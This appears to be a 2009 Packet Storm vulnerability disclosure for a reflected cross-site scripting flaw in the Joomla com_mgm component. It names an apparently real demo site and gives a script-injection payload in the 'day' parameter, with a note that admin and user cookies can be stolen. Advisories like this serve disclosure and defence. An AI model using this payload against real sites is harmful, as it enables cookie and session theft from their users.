Joomla MGM Cross Site Scripting

2009-12-30T00:00:00
ID PACKETSTORM:84312
Type packetstorm
Reporter Fl0riX
Modified 2009-12-30T00:00:00

Description

                                        
                                            `  
< ------------------- header data start ------------------- >  
  
###########################################################################  
Joomla Component com_mgm Cross Site Scripting Vulnerability   
###########################################################################  
  
# Author : Fl0riX  
  
# Greez : Deep-Power,PyskE  
  
# Name : com_mgm  
  
# Bug Type : Cross Site Scripting  
  
# Infection : Yönetici ve User cookiekleri calinabilir.  
  
# Bug Fix Advice : Zararlý karakterler filtrelenmelidir.  
  
# Demo Vuln. : http://www.minigolfmadrid.com/index.php?option=com_mgm&lang=es&Itemid=0&view=&task=&day=[XSS CODE]  
  
#############################################################  
  
< ------------------- header data end of ------------------- >  
  
< -- bug code start -- >  
  
/index.php?option=com_mgm&lang=es&Itemid=0&view=&task=&day="><script>alert(document.cookie)</script>  
  
< -- bug code end of -- >   
  
_________________________________________________________________  
Yeni Windows 7: Gündelik iþlerinizi basitleþtirin. Size en uygun bilgisayarý bulun.  
http://windows.microsoft.com/shop`